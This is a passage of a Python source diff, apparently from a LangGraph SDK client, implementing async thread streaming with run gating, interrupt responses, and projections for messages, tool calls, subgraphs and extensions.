loop.create_future() + self._owner._run_start_ready = gate + try: + result = await self._owner._send_command("run.start", params) + if not gate.done(): + gate.set_result(None) + self._owner._run_seen = True + return result + except BaseException as err: + # Why: gate MUST reject on any exit type, including CancelledError, + # so awaiters see the failure rather than hanging indefinitely. + if not gate.done(): + gate.set_exception(err) + raise + finally: + # Why: concurrent run.start calls (multitask_strategy="enqueue") + # can replace _run_start_ready before our finally fires. + # Identity-check before clearing so the later call's gate isn't stomped. + if self._owner._run_start_ready is gate: + self._owner._run_start_ready = None + # Why: if the gate stored an exception that no awaiter consumed, + # retrieve it here to suppress asyncio's GC warning. The exception + # is already propagated to our caller via the `raise` above. + if gate.done() and not gate.cancelled(): + gate.exception() + + async def respond( + self, + response: Any, + *, + interrupt_id: str | None = None, + ) -> dict[str, Any]: + """Reply to a server-side interrupt and resume the run. + + Args: + response: the response value forwarded as `params.response` on the + wire (protocol field name). + interrupt_id: optional explicit id. When omitted, requires exactly + one outstanding interrupt and uses its id. + + Raises: + RuntimeError: no outstanding interrupts; `interrupt_id` is None but + multiple interrupts are outstanding; or the explicit + `interrupt_id` doesn't match any outstanding interrupt. + """ + # Why: take the `interrupts` snapshot AND dispatch the command under + # `_interrupts_lock`, so the lifecycle watcher's terminal-clear path + # cannot wipe `interrupts` between the snapshot and the wire send. + async with self._owner._interrupts_lock: + outstanding = list(self._owner.interrupts) + if interrupt_id is None: + if len(outstanding) == 0: + raise RuntimeError( + "thread.run.respond: no outstanding interrupt. Provide " + "an explicit `interrupt_id` or wait for " + "`thread.interrupted`." + ) + if len(outstanding) > 1: + ids = [p["interrupt_id"] for p in outstanding] + raise RuntimeError( + f"thread.run.respond: ambiguous — {len(outstanding)} " + f"outstanding interrupts ({ids!r}). Provide an explicit " + "`interrupt_id`." + ) + match = outstanding[0] + else: + match = next( + (p for p in outstanding if p["interrupt_id"] == interrupt_id), + None, + ) + if match is None: + raise RuntimeError( + f"thread.run.respond: interrupt_id {interrupt_id!r} does " + "not match any outstanding interrupt in " + "`thread.interrupts`." + ) + params = { + "interrupt_id": match["interrupt_id"], + "namespace": match["namespace"], + "response": response, + } + return await self._owner._send_command("input.respond", params) + + +async def _close_after(handle: EventStreamHandle, *, delay: float = 0.0) -> None: + """Close a handle, optionally after a brief delay. Used to detach + closing the old stream from the synchronous rotation step so the new + stream can absorb server-side replayed events first. + """ + if delay: + await asyncio.sleep(delay) + await handle.close() + + +class _OutputAwaitable: + """Awaitable that waits for lifecycle completion then fetches durable thread state. + + Multiple awaiters share one underlying task (idempotent task caching). + Call `with_timeout(seconds)` to bound the wait on the lifecycle terminal. + """ + + def __init__(self, thread: AsyncThreadStream) -> None: + self._thread = thread + self._task: asyncio.Task[Any] | None = None + self._timeout: float | None = None + + def __await__(self): # type: ignore[override] + return self._get_task().__await__() + + def with_timeout(self, timeout: float) -> _OutputAwaitable: + """Return a new awaitable that raises `asyncio.TimeoutError` after `timeout` seconds. + + Bounds the wait for the lifecycle terminal (and only that wait); the + subsequent REST GET for terminal state is not bounded. Returns a + fresh `_OutputAwaitable` so the original `thread.output` is unaffected. + """ + bounded = _OutputAwaitable(self._thread) + bounded._timeout = timeout + return bounded + + def _get_task(self) -> asyncio.Task[Any]: + """Return the shared fetch task, creating it on first call. + + A cancelled task is intentionally NOT respawned: subsequent awaiters + receive `asyncio.CancelledError` from the shared task instead of + triggering a fresh REST GET. This preserves "one fetch per + `thread.output`" semantics even when callers wrap awaits with + `asyncio.wait_for` (which cancels the underlying task on timeout). + """ + if self._task is None: + self._task = asyncio.create_task(self._fetch()) + return self._task + + async def _fetch(self) -> Any: + """Fetch terminal thread state, waiting for the lifecycle if needed.""" + # Fast path: explicit thread_id with no run in flight — state may already + # be terminal so we can skip the lifecycle wait entirely. + if self._thread._can_return_existing_state_immediately(): + state = await self._thread._fetch_state() + if self._thread._state_is_terminal(state): + return state["values"] + + # Normal path: wait for the lifecycle terminal signal. + if self._timeout is not None: + terminal = await asyncio.wait_for( + self._thread._wait_for_run_done(), timeout=self._timeout + ) + else: + terminal = await self._thread._wait_for_run_done() + if terminal.error is not None: + raise terminal.error + state = await self._thread._fetch_state() + return state["values"] + + +class _ValuesProjection: + """Typed projection for `thread.values` — yields state snapshots as they arrive. + + Supports both `async for` (live stream of state snapshots) and `await` + (delegates to `thread.output` for the terminal state value). + """ + + def __init__(self, thread: AsyncThreadStream) -> None: + self._thread = thread + + def __await__(self) -> Generator[Any, None, Any]: + return self._thread.output.__await__() + + def __aiter__(self) -> AsyncIterator[Any]: + return self._values_iter() + + async def _values_iter(self) -> AsyncGenerator[Any, None]: + if self._thread._transport is None: + raise RuntimeError("AsyncThreadStream not entered — use `async with`.") + params: SubscribeParams = {"channels": ["values"]} + sub = self._thread._register_subscription(params) + decoder = DataDecoder("values") + try: + await self._thread._reconcile_stream(params) + self._thread._ensure_fanout_running() + state = await self._thread._fetch_state() + yield state["values"] + while True: + item = await sub.queue.get() + if item is None: + return + for out in decoder.feed(item): + yield out + finally: + self._thread._unregister_subscription(sub.id) + + +class _MessagesProjection: + """Typed projection for root-scope `thread.messages`. + + Iterating yields one `AsyncChatModelStream` per message-start event. + Each iterator owns its own `messages` subscription and routes events + from the root namespace only. + """ + + def __init__( + self, thread: AsyncThreadStream, namespace: list[str] | None = None + ) -> None: + self._thread = thread + self._namespace = list(namespace or []) + + def __aiter__(self) -> AsyncIterator[AsyncChatModelStream]: + return self._messages_iter() + + async def _messages_iter(self) -> AsyncGenerator[AsyncChatModelStream, None]: + if self._thread._transport is None: + raise RuntimeError("AsyncThreadStream not entered — use `async with`.") + # If the subgraphs projection already ran (and consumed messages events + # from the shared SSE), drain its root inbox rather than opening a new + # subscription. Dedup prevents the SSE from replaying those events. + root_inbox = self._thread._root_messages_inbox if not self._namespace else None + if root_inbox is not None: + async for stream in self._drain_inbox(root_inbox): + yield stream + return + params = _exact_namespace_params(["messages"], self._namespace) + sub = self._thread._register_subscription(params) + decoder = MessagesDecoder( + namespace=self._namespace, + stream_factory=lambda *, namespace, node, message_id: AsyncChatModelStream( + namespace=namespace, node=node, message_id=message_id + ), + ) + registered: list[AsyncChatModelStream] = [] + try: + await self._thread._reconcile_stream(params) + self._thread._ensure_fanout_running() + while True: + item = await sub.queue.get() + if item is None: + return + for stream in decoder.feed(item): + self._thread._register_active_message_stream(stream) + registered.append(stream) + yield stream + finally: + for stream in registered: + self._thread._unregister_active_message_stream(stream) + self._thread._unregister_subscription(sub.id) + + async def _drain_inbox( + self, inbox: asyncio.Queue[Event | None] + ) -> AsyncGenerator[AsyncChatModelStream, None]: + """Drain a pre-filled inbox of messages events, yielding one stream per message.""" + from langchain_core.language_models.chat_model_stream import ( + AsyncChatModelStream, + ) + + active: dict[str, AsyncChatModelStream] = {} + try: + while True: + item = await inbox.get() + if item is None: + return + params_field = item.get("params") or {} + data = ( + params_field.get("data") if isinstance(params_field, dict) else None + ) + if not isinstance(data, dict): + continue + event_type = data.get("event") + if event_type == "message-start": + message_id = _message_event_id(data) + key = _message_route_key(data, fallback=message_id) + metadata = ( + data.get("metadata") + if isinstance(data.get("metadata"), dict) + else {} + ) + stream = AsyncChatModelStream( + namespace=list(self._namespace), + node=metadata.get("langgraph_node") if metadata else None, + message_id=message_id, + ) + active[key] = stream + self._thread._register_active_message_stream(stream) + stream.dispatch(data) + yield stream + else: + key = _message_route_key(data) + stream = active.get(key) + if stream is None and len(active) == 1: + stream = next(iter(active.values())) + if stream is None: + continue + stream.dispatch(data) + if event_type in ("message-finish", "error"): + self._thread._unregister_active_message_stream(stream) + for route_key, candidate in list(active.items()): + if candidate is stream: + del active[route_key] + finally: + for stream in active.values(): + self._thread._unregister_active_message_stream(stream) + + +def _message_event_id(data: dict[str, Any]) -> str | None: + message_id = data.get("id") or data.get("message_id") + return str(message_id) if message_id is not None else None + + +def _message_route_key(data: dict[str, Any], fallback: str | None = None) -> str: + """Return the routing key for a message-channel event in `active`. + + Keys on `message_id` when available so concurrent messages that share the + same `run_id` (two AI turns in one agent step) route to independent streams + rather than colliding on a shared `run:` slot. + """ + message_id = _message_event_id(data) + if message_id is not None: + return f"message:{message_id}" + if fallback is not None: + return f"message:{fallback}" + return "__single__" + + +SubgraphStatus = Literal["started", "completed", "failed", "interrupted"] + + +def _parse_namespace_segment(segment: str) -> tuple[str, str | None]: + name, sep, task_id = segment.partition(":") + return name, task_id if sep else None + + +def _terminal_from_tasks_result( + data: dict[str, Any], +) -> tuple[SubgraphStatus, str | None]: + if data.get("interrupts"): + return "interrupted", None + error = data.get("error") + if error: + return "failed", str(error) + return "completed", None + + +def _is_direct_child(namespace: list[str], scope: tuple[str, ...]) -> bool: + return len(namespace) == len(scope) + 1 and tuple(namespace[: len(scope)]) == scope + + +def _subgraph_subscription_params(scope: tuple[str, ...]) -> SubscribeParams: + # Subscribe to tasks + messages + tools + lifecycle without a depth limit + # so all descendant-namespace events are captured in one SSE and buffered + # into each child handle's inbox. ``lifecycle`` is included so child- + # namespace ``started`` events (the canonical signal for + # ``create_deep_agent``-style subagent discovery, matching JS behavior) + # reach ``_subgraphs_iter``; servers that surface child invocations via + # ``tasks`` events instead are also handled via the existing ``method == + # "tasks"`` branch. + return { + "channels": ["messages", "tasks", "tools", "lifecycle"], + "namespaces": [list(scope)], + } + + +class ScopedStreamHandle: + """Scoped streaming handle for one discovered child invocation.""" + + def __init__( + self, + *, + thread: AsyncThreadStream, + path: tuple[str, ...], + graph_name: str | None, + trigger_call_id: str | None, + max_queue_size: int = 0, + ) -> None: + self._thread = thread + self.path = path + self.namespace = list(path) + self.graph_name = graph_name + self.trigger_call_id = trigger_call_id + self.status: SubgraphStatus = "started" + self.error: str | None = None + self._max_queue_size = max_queue_size + # Per-channel inboxes: events captured by the parent _SubgraphsProjection + # while the SSE was alive. Child projections drain these after the parent + # finishes so sequential consumption works without a second SSE open. + self._messages_inbox: asyncio.Queue[Event | None] = asyncio.Queue( + maxsize=max_queue_size + ) + self._tools_inbox: asyncio.Queue[Event | None] = asyncio.Queue( + maxsize=max_queue_size + ) + self._tasks_inbox: asyncio.Queue[Event | None] = asyncio.Queue( + maxsize=max_queue_size + ) + # Descendant handles registered by _HandleSubgraphsProjection when a + # grandchild is discovered. _push_event fans out to each matching + # descendant at dispatch time so events arrive in arrival order without + # any drain-and-replay. + self._descendant_handles: dict[tuple[str, ...], ScopedStreamHandle] = {} + # Track which inboxes have a consumer so _close_inboxes only sends a + # sentinel where it is needed. Inboxes with no consumer would otherwise + # accumulate a leaked None sentinel that is never drained. + self._iterated_inboxes: set[str] = set() + self.messages = _HandleMessagesProjection(self) + self.tool_calls = _HandleToolCallsProjection(self) + self.subgraphs = _HandleSubgraphsProjection(self) + self.subagents = self.subgraphs + self.extensions = _ExtensionsProjection(thread, namespace=list(path)) + + def _push_event(self, event: Event) -> None: + """Route a descendant event into the appropriate channel inbox. + + Also fans out to any registered descendant handles whose path is a + prefix of the event namespace, so grandchild events are delivered at + push time rather than via a post-hoc drain-and-replay. + """ + method = event.get("method") + if method == "messages": + self._messages_inbox.put_nowait(event) + elif method == "tools": + self._tools_inbox.put_nowait(event) + elif method == "tasks": + self._tasks_inbox.put_nowait(event) + # Fan out to descendant handles whose namespace is a prefix of the + # event namespace so they receive the event at push time. + if method in ("messages", "tools", "tasks"): + ns_tuple = tuple(_event_namespace(event.get("params") or {})) + for desc_path, desc_handle in self._descendant_handles.items(): + desc_len = len(desc_path) + if len(ns_tuple) >= desc_len and ns_tuple[:desc_len] == desc_path: + desc_handle._push_event(event) + + def _register_descendant(self, handle: ScopedStreamHandle) -> None: + """Register a newly-discovered grandchild so future events are fanned out. + + Also drains any events already buffered in this handle's inboxes whose + namespace matches the grandchild, so events that arrived before the + grandchild was discovered are forwarded in arrival order. + """ + self._descendant_handles[handle.path] = handle + desc_len = len(handle.path) + for inbox_attr in ( + "_messages_inbox", + "_tools_inbox", + "_tasks_inbox", + ): + inbox: asyncio.Queue[Event | None] = getattr(self, inbox_attr) + staging: list[Event | None] = [] + while not inbox.empty(): + staging.append(inbox.get_nowait()) + for event in staging: + inbox.put_nowait(event) + if event is None: + continue + ns_tuple = tuple(_event_namespace(event.get("params") or {})) + if len(ns_tuple) >= desc_len and ns_tuple[:desc_len] == handle.path: + getattr(handle, inbox_attr).put_nowait(event) + + def _unregister_descendant(self, path: tuple[str, ...]) -> None: + """Remove a grandchild after it reaches a terminal state.""" + self._descendant_handles.pop(path, None) + + def _mark_iterated(self, kind: str) -> None: + """Record that an inbox has an active consumer. + + If the handle is already closed (status != 'started'), immediately + enqueue a sentinel so the consumer's `await get()` terminates. This + handles sequential consumption (iterate after the handle is finished). + + Must be called by each projection at the start of iteration. + """ + self._iterated_inboxes.add(kind) + if self.status != "started": + # Handle already closed before this consumer started; send the + # sentinel now so the projection iterator can terminate. + getattr(self, f"_{kind}_inbox").put_nowait(None) + + def _close_inboxes(self) -> None: + """Signal EOF only on channel inboxes that have an active consumer. + + Inboxes without a consumer would accumulate a leaked None sentinel + that is never drained, so we skip them. For inboxes whose consumer + starts after this call, `_mark_iterated` sends the sentinel lazily. + """ + for kind in ("messages", "tools", "tasks"): + if kind in self._iterated_inboxes: + getattr(self, f"_{kind}_inbox").put_nowait(None) + + def _finish(self, status: SubgraphStatus, error: str | None = None) -> None: + if self.status != "started": + return + self.status = status + self.error = error + self._close_inboxes() + + +class _HandleMessagesProjection: + """Messages projection that drains a `ScopedStreamHandle`'s messages inbox.""" + + def __init__(self, handle: ScopedStreamHandle) -> None: + self._handle = handle + + def __aiter__(self) -> AsyncIterator[Any]: + return self._messages_iter() + + async def _messages_iter(self) -> AsyncGenerator[Any, None]: + from langchain_core.language_models.chat_model_stream import ( + AsyncChatModelStream, + ) + + self._handle._mark_iterated("messages") + active: dict[str, AsyncChatModelStream] = {} + while True: + item = await self._handle._messages_inbox.get() + if item is None: + return + params_field = item.get("params") or {} + ns = _event_namespace(params_field) + if ns != self._handle.namespace: + continue + data = params_field.get("data") if isinstance(params_field, dict) else None + if not isinstance(data, dict): + continue + event_type = data.get("event") + if event_type == "message-start": + message_id = _message_event_id(data) + key = _message_route_key(data, fallback=message_id) + metadata = ( + data.get("metadata") + if isinstance(data.get("metadata"), dict) + else {} + ) + stream = AsyncChatModelStream( + namespace=list(self._handle.namespace), + node=metadata.get("langgraph_node") if metadata else None, + message_id=message_id, + ) + active[key] = stream + stream.dispatch(data) + yield stream + else: + key = _message_route_key(data) + stream = active.get(key) + if stream is None and len(active) == 1: + stream = next(iter(active.values())) + if stream is None: + continue + stream.dispatch(data) + if event_type in ("message-finish", "error"): + for route_key, candidate in list(active.items()): + if candidate is stream: + del active[route_key] + + +class _HandleToolCallsProjection: + """Tool calls projection that drains a `ScopedStreamHandle`'s tools inbox.""" + + def __init__(self, handle: ScopedStreamHandle) -> None: + self._handle = handle + + def __aiter__(self) -> AsyncIterator[Any]: + return self._tool_calls_iter() + + async def _tool_calls_iter(self) -> AsyncGenerator[Any, None]: + self._handle._mark_iterated("tools") + active: dict[str, ToolCallHandle] = {} + while True: + item = await self._handle._tools_inbox.get() + if item is None: + err = RuntimeError( + "Tool call stream closed before terminal tool event." + ) + for handle in active.values(): + handle._fail(err) + return + params_field = item.get("params") or {} + ns = _event_namespace(params_field) + if ns != self._handle.namespace: + continue + data = params_field.get("data") if isinstance(params_field, dict) else None + if not isinstance(data, dict): + continue + event_type = data.get("event") + tool_call_id = data.get("tool_call_id") + if not isinstance(tool_call_id, str): + continue + if event_type == "tool-started": + tool_name = data.get("tool_name") + if not isinstance(tool_name, str): + tool_name = "" + handle = ToolCallHandle( + tool_call_id=tool_call_id, + name=tool_name, + input=data.get("input"), + namespace=list(self._handle.namespace), + ) + active[tool_call_id] = handle + yield handle + elif event_type == "tool-output-delta": + handle = active.get(tool_call_id) + delta = data.get("delta") + if handle is not None and isinstance(delta, str): + handle._push_delta(delta) + elif event_type == "tool-finished": + handle = active.pop(tool_call_id, None) + if handle is not None: + handle._finish(data.get("output")) + elif event_type == "tool-error": + handle = active.pop(tool_call_id, None) + if handle is not None: + message = data.get("message") + handle._fail( + RuntimeError(str(message) if message else "Tool call errored") + ) + + +class _HandleSubgraphsProjection: + """Subgraphs projection that drains a `ScopedStreamHandle`'s tasks inbox.""" + + def __init__(self, handle: ScopedStreamHandle) -> None: + self._handle = handle + + def __aiter__(self) -> AsyncIterator[ScopedStreamHandle]: + return self._subgraphs_iter() + + def _route_sibling_inboxes_to_grandchildren( + self, + active: dict[tuple[str, ...], ScopedStreamHandle], + ) -> None: + """Drain non-blocking events from parent's messages/tools inboxes to grandchildren. + + Called after each tasks event so grandchild handles receive events that + were enqueued in the parent handle's inboxes before (or just after) the + grandchild was discovered. + """ + parent = self._handle + for inbox_attr, grandchild_attr in ( + ("_messages_inbox", "_messages_inbox"), + ("_tools_inbox", "_tools_inbox"), + ): + inbox: asyncio.Queue[Event | None] = getattr(parent, inbox_attr) + staging: list[Event | None] = [] + # Drain without blocking. + while not inbox.empty(): + staging.append(inbox.get_nowait()) + for event in staging: + if event is None: + # Re-queue the EOF sentinel — it belongs to the parent inbox consumer. + inbox.put_nowait(None) + continue + event_params = event.get("params") or {} + ns_tuple = tuple(_event_namespace(event_params)) + routed = False + for _child_path, grandchild in active.items(): + grandchild_len = len(grandchild.path) + if ( + len(ns_tuple) >= grandchild_len + and ns_tuple[:grandchild_len] == grandchild.path + ): + gc_inbox: asyncio.Queue[Event | None] = getattr( + grandchild, grandchild_attr + ) + gc_inbox.put_nowait(event) + routed = True + break + if not routed: + # Not a grandchild event — put it back for the handle projection. + inbox.put_nowait(event) + + async def _subgraphs_iter(self) -> AsyncGenerator[ScopedStreamHandle, None]: + self._handle._mark_iterated("tasks") + seen: set[tuple[str, ...]] = set() + active: dict[tuple[str, ...], ScopedStreamHandle] = {} + scope = self._handle.path + while True: + item = await self._handle._tasks_inbox.get() + if item is None: + for child in active.values(): + if child.status == "started": + child._finish("completed") + return + params_field = item.get("params") or {} + namespace = _event_namespace(params_field) + data = params_field.get("data") if isinstance(params_field, dict) else None + if not isinstance(data, dict): + continue + if "result" in data: + result_id = data.get("id") + if not result_id: + continue + parent_path = tuple(namespace) + for child_path, child_handle in list(active.items()): + if child_path[:-1] != parent_path: + continue + if child_handle.trigger_call_id != result_id: + continue + status, error = _terminal_from_tasks_result(data) + child_handle._finish(status, error) + del active[child_path] + self._handle._unregister_descendant(child_path) + continue + if not _is_direct_child(namespace, scope): + continue + path = tuple(namespace) + if path in seen: + continue + seen.add(path) + graph_name, trigger_call_id = _parse_namespace_segment(path[-1]) + child_handle = ScopedStreamHandle( + thread=self._handle._thread, + path=path, + graph_name=graph_name or None, + trigger_call_id=trigger_call_id, + max_queue_size=self._handle._max_queue_size, + ) + active[path] = child_handle + # Register so future _push_event calls on this handle fan out to the + # grandchild at push time, preserving arrival order without drain-and-replay. + self._handle._register_descendant(child_handle) + yield child_handle + + +class _SubgraphsProjection: + """Discover direct child invocations for a namespace scope.""" + + def __init__(self, thread: AsyncThreadStream, scope: tuple[str, ...] = ()) -> None: + self._thread = thread + self._scope = scope + + def __aiter__(self) -> AsyncIterator[ScopedStreamHandle]: + return self._subgraphs_iter() + + async def _subgraphs_iter(self) -> AsyncGenerator[ScopedStreamHandle, None]: + if self._thread._transport is None: + raise RuntimeError("AsyncThreadStream not entered - use `async with`.") + params = _subgraph_subscription_params(self._scope) + sub = self._thread._register_subscription(params) + decoder = SubgraphsDecoder( + scope=self._scope, + handle_factory=lambda *, path, graph_name, trigger_call_id: ( + ScopedStreamHandle( + thread=self._thread, + path=path, + graph_name=graph_name, + trigger_call_id=trigger_call_id, + ) + ), + ) + root_inbox: asyncio.Queue[Event | None] | None = ( + self._thread._activate_root_messages_inbox() if not self._scope else None + ) + try: + await self._thread._reconcile_stream(params) + self._thread._ensure_fanout_running() + while True: + item = await sub.queue.get() + if item is None: + return + params_field = item.get("params") or {} + if ( + root_inbox is not None + and item.get("method") == "messages" + and tuple(_event_namespace(params_field)) == self._scope + ): + root_inbox.put_nowait(item) + for handle in decoder.feed(item): + yield handle + finally: + # Determine terminal status from the parent run's lifecycle result. + # If _run_done resolved as errored, force-complete remaining children + # as errored so callers see the correct terminal state. + terminal_status: SubgraphStatus = "completed" + run_done = self._thread._run_done + if run_done is not None and run_done.done() and not run_done.cancelled(): + result = run_done.result() + if isinstance(result, _RunTerminal) and result.status == "errored": + terminal_status = "failed" + for handle in decoder._active.values(): + if handle.status == "started": + handle._finish(terminal_status) + self._thread._unregister_subscription(sub.id) + if root_inbox is not None: + root_inbox.put_nowait(None) + + +class ToolCallHandle: + """Async handle for one root-scope tool call.""" + + def __init__( + self, + *, + tool_call_id: str, + name: str, + input: Any = None, + namespace: list[str] | None = None, + max_queue_size: int = 1024, + ) -> None: + self.tool_call_id = tool_call_id + self.name = name + self.input = input + self.namespace = list(namespace or []) + self.done = False + self.error: BaseException | None = None + loop = asyncio.get_running_loop() + self.output: asyncio.Future[Any] = loop.create_future() + self._deltas: asyncio.Queue[str | None] = asyncio.Queue(maxsize=max_queue_size) + self._deltas_consumed = False + + @property + def deltas(self) -> AsyncIterator[str]: + """Stream tool output deltas emitted before the terminal event. + + Raises: + RuntimeError: if called more than once — the underlying queue is + single-consumer and cannot be fanned out safely. + """ + if self._deltas_consumed: + raise RuntimeError( + "ToolCallHandle.deltas can only be iterated by a single consumer." + ) + self._deltas_consumed = True + return self._delta_iter() + + async def _delta_iter(self) -> AsyncGenerator[str, None]: + while True: + item = await self._deltas.get() + if item is None: + return # errors surface via output, not deltas + yield item + + def _push_delta(self, delta: str) -> None: + if self.done: + return + self._deltas.put_nowait(delta) + + def _finish(self, output: Any) -> None: + if self.done: + return + self.done = True + if not self.output.done(): + self.output.set_result(output) + self._deltas.put_nowait(None) + + def _fail(self, err: BaseException) -> None: + if self.done: + return + self.done = True + self.error = err + if not self.output.done(): + self.output.set_exception(err) + self._deltas.put_nowait(None) + + +class _ToolCallsProjection: + """Typed projection for root-scope `thread.tool_calls`.""" + + def __init__( + self, thread: AsyncThreadStream, namespace: list[str] | None = None + ) -> None: + self._thread = thread + self._namespace = list(namespace or []) + + def __aiter__(self) -> AsyncIterator[ToolCallHandle]: + return self._tool_calls_iter() + + async def _tool_calls_iter(self) -> AsyncGenerator[ToolCallHandle, None]: + if self._thread._transport is None: + raise RuntimeError("AsyncThreadStream not entered - use `async with`.") + params = _exact_namespace_params(["tools"], self._namespace) + sub = self._thread._register_subscription(params) + decoder = ToolCallsDecoder( + namespace=self._namespace, + handle_factory=lambda *, tool_call_id, name, input, namespace: ( + ToolCallHandle( + tool_call_id=tool_call_id, + name=name, + input=input, + namespace=namespace, + ) + ), + ) + registered: list[ToolCallHandle] = [] + try: + await self._thread._reconcile_stream(params) + self._thread._ensure_fanout_running() + while True: + item = await sub.queue.get() + if item is None: + return + for handle in decoder.feed(item): + self._thread._register_active_tool_call(handle) + registered.append(handle) + yield handle + finally: + # Read terminal error from _run_done if it is already resolved. + # We do NOT block here: callers who need a terminal observation + # should await `thread.output` directly. Blocking in iterator + # teardown would stall every early break or exception exit for + # up to the full shield-wait timeout (previously 1 s). + run_done = self._thread._run_done + terminal_err: BaseException | None = None + if run_done is not None and run_done.done() and not run_done.cancelled(): + terminal = run_done.result() + terminal_err = terminal.error + err: BaseException = ( + terminal_err + if terminal_err is not None + else RuntimeError("Tool call stream closed before terminal tool event.") + ) + for handle in list(decoder._active.values()): + handle._fail(err) + for handle in registered: + self._thread._unregister_active_tool_call(handle) + self._thread._unregister_subscription(sub.id) + + +class _ExtensionsProjection: + """Mapping from extension name to custom event payload stream. + + Repeated access for the same `name` returns the cached projection so that + callers receive the same subscription handle across multiple references to + `thread.extensions["foo"]` within one session. + """ + + def __init__(self, thread: AsyncThreadStream, namespace: list[str]) -> None: + self._thread = thread + self._namespace = namespace + self._cache: dict[str, _ExtensionProjection] = {} + + def __getitem__(self, name: str) -> _ExtensionProjection: + if not name: + raise ValueError("extension name must be non-empty.") + if name not in self._cache: + self._cache[name] = _ExtensionProjection( + self._thread, name=name, namespace=self._namespace + ) + return self._cache[name] + + +class _ExtensionProjection: + def __init__( + self, + thread: AsyncThreadStream, + *, + name: str, + namespace: list[str], + ) -> None: + self._thread = thread + self._name = name + self._namespace = namespace + + def __aiter__(self) -> AsyncIterator[dict[str, Any]]: + return self._iter() + + async def _iter(self) -> AsyncGenerator[dict[str, Any], None]: + params: SubscribeParams = {"channels": [f"custom:{self._name}"]} + if self._namespace: + params["namespaces"] = [self._namespace] + sub = self._thread._register_subscription(params) + decoder = ExtensionsDecoder(name=self._name) + try: + if self._thread._closed: + return + await self._thread._reconcile_stream(params) + self._thread._ensure_fanout_running() + while True: + item = await sub.queue.get() + if item is None: + return + for out in decoder.feed(item): + yield out + finally: + self._thread._unregister_subscription(sub.id) + + +class AsyncThreadStream: + """Async context manager for one thread's v3 streaming session. + + Construct via `client.threads.stream(thread_id=None, *, assistant_id, ...)` + rather than instantiating directly. + """ + + def __init__( + self, + *, + http: HttpClient, + thread_id: str, + assistant_id: str, + headers: Mapping[str, str] | None = None, + max_queue_size: int = 1024, + run_start_timeout: float | None = None, + explicit_thread_id: bool = False, + transport_kind: Literal["sse", "websocket"] = "sse", + ) -> None: + self._http = http + self._headers = dict(headers or {}) + self.thread_id = thread_id + self.assistant_id = assistant_id + self._max_queue_size = max_queue_size + self._run_start_timeout = run_start_timeout + self._explicit_thread_id = explicit_thread_id + self._transport_kind = transport_kind + self._closed = False + self._transport: AsyncProtocolTransport | None = None + self._open_handles: list[EventStreamHandle] = [] + self._next_command_id = 1 + self._next_subscription_id = 1 + self._subscriptions: dict[int, _Subscription] = {} + self._seen_event_ids = _SeenEventIds() + self._shared_stream: EventStreamHandle | None = None + self._shared_stream_filter: dict[str, Any] | None = None + self._fanout_task: asyncio.Task[None] | None = None + self.interrupted: bool = False + self.interrupts: list[InterruptPayload] = [] + # Why: serialize the `interrupts` snapshot in `run.respond` with the + # terminal-clear path in `_apply_lifecycle_event`, so a respond() in + # flight cannot send a stale `interrupt_id` after the lifecycle watcher + # observes a `completed`/`errored` event. + self._interrupts_lock = asyncio.Lock() + self._lifecycle_watcher_task: asyncio.Task[None] | None = None + self._lifecycle_watcher_handle: EventStreamHandle | None = None + self._lifecycle_cursor: int | None = None + self._lifecycle_max_reconnect_attempts = 5 + # Shared-stream reconnect knobs: applied by `_fanout` after a post-ready + # transport drop so subscribers (messages/tools/tasks/values projections, + # subgraph child handles) survive a brief SSE disconnect without losing + # buffered events. Cursor (`_cursor`) is replayed as `since` so the + # server resumes from where the prior stream left off; per-event + # `event_id` dedup in `_dedup_iter` drops any overlap on the new stream. + self._shared_max_reconnect_attempts = 5 + self._shared_reconnect_backoff_base = 0.1 + self._shared_reconnect_backoff_cap = 2.0 + self._run_start_ready: asyncio.Future[None] | None = None + self._run_seen: bool = False + self._run_done: asyncio.Future[_RunTerminal] | None = None + self._cursor: int | None = None + self._active_message_streams: set[AsyncChatModelStream] = set() + self._active_tool_calls: set[ToolCallHandle] = set() + # Root-scope inbox: populated by `_SubgraphsProjection` when it consumes + # messages events at namespace `[]` so that `thread.messages` can drain + # them even after the shared SSE has ended (dedup prevents replay). + self._root_messages_inbox: asyncio.Queue[Event | None] | None = None + self.run = RunModule(self) + self.agent = _AgentModule(self) + self.output = _OutputAwaitable(self) + self.values = _ValuesProjection(self) + self.messages = _MessagesProjection(self, namespace=[]) + self.tool_calls = _ToolCallsProjection(self, namespace=[]) + self.subgraphs = _SubgraphsProjection(self, scope=()) + self.subagents = self.subgraphs + self.extensions = _ExtensionsProjection(self, namespace=[]) + + @property + def _controller(self) -> AsyncThreadStream: + """Return self as the subscription controller (duck-type compatible with StreamController). + + Exposes `_subscriptions` so tests can verify subscription counts via + `thread._controller._subscriptions` without requiring a separate controller object. + """ + return self + + async def __aenter__(self) -> AsyncThreadStream: + if self._closed: + raise RuntimeError("AsyncThreadStream is closed and cannot be re-entered.") + transport_cls = ( + ProtocolWebSocketTransport + if self._transport_kind == "websocket" + else ProtocolSseTransport + ) + self._transport = transport_cls( + client=self._http.client, + thread_id=self.thread_id, + headers=self._headers, + max_queue_size=self._max_queue_size, + ) + # Create the run-done future here (async context guarantees a running loop). + self._run_done = asyncio.get_running_loop().create_future() + # Start the lifecycle watcher immediately so reattach and thread.output + # work without a preceding run.start call. + self._ensure_lifecycle_watcher_running() + return self + + async def __aexit__(self, exc_type: Any, exc: Any, tb: Any) -> None: + try: + await self.close() + except BaseException as close_err: + if exc is None: + raise + # Original exception takes precedence; chain close error as context. + close_err.__context__ = exc + + @property + def events(self) -> AsyncIterator[Event]: + """Return a fresh subscription to ALL channels. + + Each property access opens a new subscription; callers iterating twice + will see two independent streams (both filtered by the same channel union). + Terminates when the stream closes (server hangup, `__aexit__`, or + transport-level close). + """ + if self._transport is None: + raise RuntimeError("AsyncThreadStream not entered — use `async with`.") + handle = self._transport.open_event_stream({"channels": _ALL_CHANNELS}) + self._open_handles.append(handle) + return handle.events + + async def close(self) -> None: + """Tear down the thread stream. Idempotent.""" + if self._closed: + return + self._closed = True + for handle in self._open_handles: + await handle.close() + # Cancel _run_done so thread.output doesn't wait forever on close. + run_done = self._run_done + if run_done is not None and not run_done.done(): + run_done.cancel() + if self._lifecycle_watcher_task is not None: + self._lifecycle_watcher_task.cancel() + with contextlib.suppress(Exception, asyncio.CancelledError): + await self._lifecycle_watcher_task + if self._lifecycle_watcher_handle is not None: + await self._lifecycle_watcher_handle.close() + self._fail_active_message_streams(asyncio.CancelledError()) + self._fail_active_tool_calls(asyncio.CancelledError()) + if self._fanout_task is not None: + self._fanout_task.cancel() + with contextlib.suppress(Exception, asyncio.CancelledError): + await 